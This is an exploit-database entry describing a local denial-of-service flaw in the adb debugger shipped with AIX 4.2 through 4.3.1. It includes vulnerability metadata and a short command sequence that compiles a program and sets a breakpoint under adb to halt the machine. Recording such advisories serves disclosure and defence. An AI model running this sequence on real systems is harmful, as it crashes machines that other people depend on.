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AIX
by:
Unknown
7.5
CVSS
HIGH
Denial of Service
Unknown
CWE
Product Name: AIX
Affected Version From: AIX 4.2
Affected Version To: AIX 4.3.1
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
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Platforms Tested: AIX
Unknown

Local Denial of Service in AIX adb Debugger

A local user can exploit the version of adb shipped with AIX 4.2 through 4.3.1 to cause a denial of service, resulting in the machine being halted.

Mitigation:

Unknown
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/520/info

adb is the debugger that ships with IBM's AIX operating system. It is possible for a local user to cause a local denial of service through exploiting the version of adb shipped with AIX 4.2 through 4.3.1. The consequence of adb being exploited is the machine being halted by a malicious local user.


gcc -g -o a.out hello-world.c
$ adb a.out -
adb
.main,5:s
a.out: running
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